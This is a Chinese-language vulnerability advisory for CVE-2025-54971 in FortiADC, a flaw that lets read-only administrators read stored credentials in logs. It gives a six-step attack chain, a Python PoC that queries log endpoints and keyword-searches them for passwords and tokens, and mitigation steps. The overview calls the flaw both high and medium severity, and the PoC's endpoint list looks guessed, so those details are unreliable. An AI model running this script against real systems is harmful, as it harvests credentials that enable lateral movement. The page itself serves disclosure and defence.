IPBUF安全漏洞报告
English
CVE-2025-54971 CVSS 4.3 中危

CVE-2025-54971 FortiADC 敏感信息泄露漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-54971
漏洞类型
敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FortiADC

相关标签

敏感信息泄露FortiADCFortinetCVE-2025-54971权限绕过日志泄露中危漏洞应用交付控制器

漏洞概述

CVE-2025-54971是Fortinet FortiADC应用交付控制器中的一个高危安全漏洞,CVSS评分4.3,属于中等严重程度。该漏洞允许具有只读权限的管理员用户通过查看产品日志,获取存储在日志中的外部资源密码(如第三方系统集成凭证、数据库连接密码、API密钥等敏感认证信息)。由于FortiADC通常部署在企业网络边界,负责负载均衡和应用交付,攻击者一旦获取外部资源密码,可能进一步横向移动至关键业务系统,造成严重的数据泄露风险。此漏洞影响FortiADC多个主要版本,包括7.4.0、7.2、7.1、7.0和6.2系列,潜在影响范围广泛。

技术细节

该漏洞属于敏感信息未授权访问类型(Exposure of sensitive information to an unauthorized actor)。在FortiADC系统中,管理员日志功能会记录系统操作和配置变更信息,包括与外部系统集成的认证凭证。问题在于日志模块在记录敏感信息时未进行充分的脱敏处理,且访问控制机制存在缺陷,使得拥有只读权限的低权限管理员账户也能访问包含完整密码信息的日志条目。攻击者只需登录具有只读权限的管理员账户,浏览系统日志页面或通过API查询日志数据,即可获取明文形式的外部资源密码。攻击复杂度低(AC:L),无需特殊攻击条件或用户交互(UI:N),可直接通过网络远程利用(AV:N)。

攻击链分析

STEP 1
步骤1
攻击者获取或创建一个具有只读权限的FortiADC管理员账户
STEP 2
步骤2
使用该低权限账户登录FortiADC管理界面或API
STEP 3
步骤3
导航至系统日志或调试日志页面
STEP 4
步骤4
浏览日志内容,搜索包含password、secret、credential等关键词的记录
STEP 5
步骤5
提取日志中记录的外部资源密码(如第三方集成凭证、API密钥等)
STEP 6
步骤6
利用获取的凭证访问关联的外部系统或服务,实施横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54971 PoC - FortiADC Sensitive Information Disclosure # This PoC demonstrates the information disclosure vulnerability in FortiADC logs import requests import sys from requests.auth import HTTPBasicAuth def exploit_fortiadc_sensitive_info(base_url, username, password): """ Exploit CVE-2025-54971: Sensitive information disclosure via logs Requires: Valid admin account with read-only permissions """ print(f"[*] Targeting FortiADC at {base_url}") print(f"[*] Authenticating with user: {username}") # Step 1: Authenticate with read-only admin account session = requests.Session() login_url = f"{base_url}/api/v1/login" try: # Attempt authentication auth_data = { "username": username, "password": password } response = session.post(login_url, json=auth_data, verify=False, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Access logs containing sensitive information # The vulnerability allows read-only admins to view logs with credentials log_endpoints = [ "/api/v1/log/system", "/api/v1/log/debug", "/api/v1/system/logs", "/api/v1/dashboard/log" ] sensitive_info = [] for endpoint in log_endpoints: print(f"[*] Querying {endpoint}...") response = session.get(f"{base_url}{endpoint}", timeout=10) if response.status_code == 200: data = response.json() # Search for password patterns in logs for log_entry in data.get('logs', []): log_content = str(log_entry) # Check for password-related patterns if any(keyword in log_content.lower() for keyword in ['password', 'secret', 'key', 'credential', 'token']): print(f"[!] Potential sensitive info found in log entry") sensitive_info.append(log_entry) if sensitive_info: print(f"\n[+] Found {len(sensitive_info)} potential sensitive information entries") for info in sensitive_info: print(info) return sensitive_info else: print("[-] No sensitive information found in accessible logs") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://fortiadc.local admin readonly_password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_fortiadc_sensitive_info(target, user, pwd)

影响范围

FortiADC 7.4.0
FortiADC 7.2 (所有版本)
FortiADC 7.1 (所有版本)
FortiADC 7.0 (所有版本)
FortiADC 6.2 (所有版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 审查并限制所有管理员账户权限,确保只读账户无法访问系统日志;2) 启用日志访问审计,记录所有日志查询操作;3) 对日志内容实施手动或自动脱敏,移除敏感凭证信息;4) 监控FortiADC管理接口的网络访问,限制可信IP范围;5) 考虑暂时禁用非必要的管理员账户,特别是只读权限账户;6) 与Fortinet官方PSIRT团队联系,获取具体补丁发布时间和临时缓解建议。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表